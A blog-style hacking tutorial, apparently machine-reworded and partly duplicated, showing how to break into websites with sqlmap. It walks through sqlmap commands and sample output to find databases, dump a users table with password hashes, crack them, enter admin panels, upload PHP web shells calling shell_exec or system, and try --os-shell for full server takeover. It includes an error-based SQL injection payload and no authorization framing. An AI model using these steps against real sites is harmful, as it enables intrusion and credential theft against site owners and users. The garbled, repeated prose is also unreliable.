Hey companions, Paid programmers is back with another tutorial on Hacking Websites. Today we will figure out how to hack sites utilizing SQLMAP. Hacking sites utilizing SQLMAP is simple, on the off chance that you know how to utilize SQLMAP. Sqlmap is a standout amongst the most prominent and capable sql injection automation tool out there. Get it from http://sqlmap.org/. In this excercise we are going to figure out how to utilize sqlmap to exploit a vulnerable web application and see what all should be possible with such a hacking tool.
For the rundown of option and parameters that can be utilized with the sqlmap command, check the accompanying url
https://github.com/sqlmapproject/sqlmap/wiki/Usage
To comprehend this tutorial you ought to have an exhaustive comprehension of how database driven web applications work. Case in point those made with php+mysql.
http://www.site.com/section.php?id=51
what's more, that it is inclined to sql injection in light of the fact that the engineer/developer of that site did not appropriately get away from the parameter id. This can be essentially tried by attempting to open the url
http://www.site.com/section.php?id=51′
We simply included a solitary quote in the parameter. In the event that this url tosses a blunder then it is pass that the database has responded with a mistake/error in light of the fact that it got an unxpected single quot
python sqlmap.py -u "http://www.site.com/section.php?id=51″
The above is the first and most basic command to keep running with the sqlmap device. It will check the url and attempt to find essential data about the system. The yield can look something like this
Discover Databases
In this step sqlmap shall be used to find out what databases exist on the target system. Again the command is very simple
Find tables in the database
Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is ‘safecosmetics’
Command
Get columns of a table
Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is ‘users’ and it contains the username and password.
Get data of the table
Now comes the most interesting part, of extracting the data from the table. The command would be
The output might look similar to this
This is probably the easiest thing to do on a server that is vulnerable to sql injection. The –sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.
Another paramter –sql-shell would give an sql shell like interface to run queries interactively.
Get inside the admin panel and play
If the website is running somekind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by bruteforcing, however long length complex passwords may not be breakable.
Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.
Shell on remote OS
This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call –os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.
According to the sqlmap manual
2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like
Sincerely Paid hackers
For the rundown of option and parameters that can be utilized with the sqlmap command, check the accompanying url
https://github.com/sqlmapproject/sqlmap/wiki/Usage
To comprehend this tutorial you ought to have an exhaustive comprehension of how database driven web applications work. Case in point those made with php+mysql.
Urls
Lets say you have a url like thishttp://www.site.com/section.php?id=51
what's more, that it is inclined to sql injection in light of the fact that the engineer/developer of that site did not appropriately get away from the parameter id. This can be essentially tried by attempting to open the url
http://www.site.com/section.php?id=51′
We simply included a solitary quote in the parameter. In the event that this url tosses a blunder then it is pass that the database has responded with a mistake/error in light of the fact that it got an unxpected single quot
Hacking with sqlmap
Presently now is the ideal time to proceed onward to sqlmap to hack such urls. The sqlmap command is keep running from the terminal with the python interpreter.python sqlmap.py -u "http://www.site.com/section.php?id=51″
The above is the first and most basic command to keep running with the sqlmap device. It will check the url and attempt to find essential data about the system. The yield can look something like this
So the sqlmap device has found the Operating system, web server and database alongside form data. Indeed, even this much is really amazing. Be that as it may, now is the ideal time to proceed onward and see what more is this tool able to do.[*] starting at 12:10:33[12:10:33] [INFO] resuming back-end DBMS ‘mysql’
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
—
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
Discover Databases
In this step sqlmap shall be used to find out what databases exist on the target system. Again the command is very simple
The output could be something like this$ python sqlmap.py -u “http://www.sitemap.com/section.php?id=51″ –dbs
This time the output contains the available databases list. Move on…[*] starting at 12:12:56[12:12:56] [INFO] resuming back-end DBMS ‘mysql’
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
—
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
Find tables in the database
Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is ‘safecosmetics’
Command
and the output can be something similar to this$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –tables -D safecosmetics
isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: ‘safecosmetics’
[11:55:19] [INFO] heuristics detected web page charset ‘ascii’
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
[11:55:22] [INFO] retrieved: acl_acl_seq
[11:55:24] [INFO] retrieved: acl_aco
[11:55:25] [INFO] retrieved: acl_aco_map
[11:55:26] [INFO] retrieved: acl_aco_sections
[11:55:28] [INFO] retrieved: acl_aco_sections_seq
………..
Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is ‘users’ and it contains the username and password.
The output can be something like this$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –columns -D safecosmetics -T users
So now the columns are clearly visible. Good job![12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' [12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries [12:17:42] [INFO] retrieved: id [12:17:43] [INFO] retrieved: int(11) [12:17:45] [INFO] retrieved: name [12:17:46] [INFO] retrieved: text [12:17:47] [INFO] retrieved: password [12:17:48] [INFO] retrieved: text [12:17:49] [INFO] retrieved: permission [12:17:51] [INFO] retrieved: tinyint(4) [12:17:52] [INFO] retrieved: email [12:17:53] [INFO] retrieved: text [12:17:54] [INFO] retrieved: system_home [12:17:55] [INFO] retrieved: text [12:17:57] [INFO] retrieved: system_allow_only [12:17:58] [INFO] retrieved: text [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: safecosmetics Table: users [8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +-------------------+--------------+
Get data of the table
Now comes the most interesting part, of extracting the data from the table. The command would be
The above command will simply dump the data of the particular table, very much like the mysqldump command.$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –dump -D safecosmetics -T users
The output might look similar to this
The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | id | hash | name | email | password | permission | system_home | system_allow_only | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | 1 | 5DIpzzDHFOwnCvPonu | admin || | 3 | | | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
What Next ?
Execute arbitrary Sql command on the serverThis is probably the easiest thing to do on a server that is vulnerable to sql injection. The –sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.
Another paramter –sql-shell would give an sql shell like interface to run queries interactively.
Get inside the admin panel and play
If the website is running somekind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by bruteforcing, however long length complex passwords may not be breakable.
Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.
This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call –os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.
According to the sqlmap manual
It is possible
to run arbitrary commands on the database server’s underlying operating
system when the back-end database management system is either MySQL,
PostgreSQL or Microsoft SQL Server, and the session user has the needed
privileges to abuse database specific functionalities and
architectural weaknesses.
The most important
privilege needed by the current database user is to write files through
the database functions. This is absent in most cases. Hence this
technique will not work in most cases.Note
1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of “testing connection to the target url”. In such cases its helpful to use the “–random-agent” option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like
http://www.site.com/class_name/method/43/80.In such cases sqlmap needs to be told the injection point marked by a *
http://www.site.com/class_name/method/43*/80The above will tell sqlmap to inject at the point marked by *
Sincerely Paid hackers
Hacking Websites using SQLMAP (Advanced) - By Paid Hackers
Reviewed by amit
on
19:36
Rating:
Reviewed by amit
on
19:36
Rating:

No comments: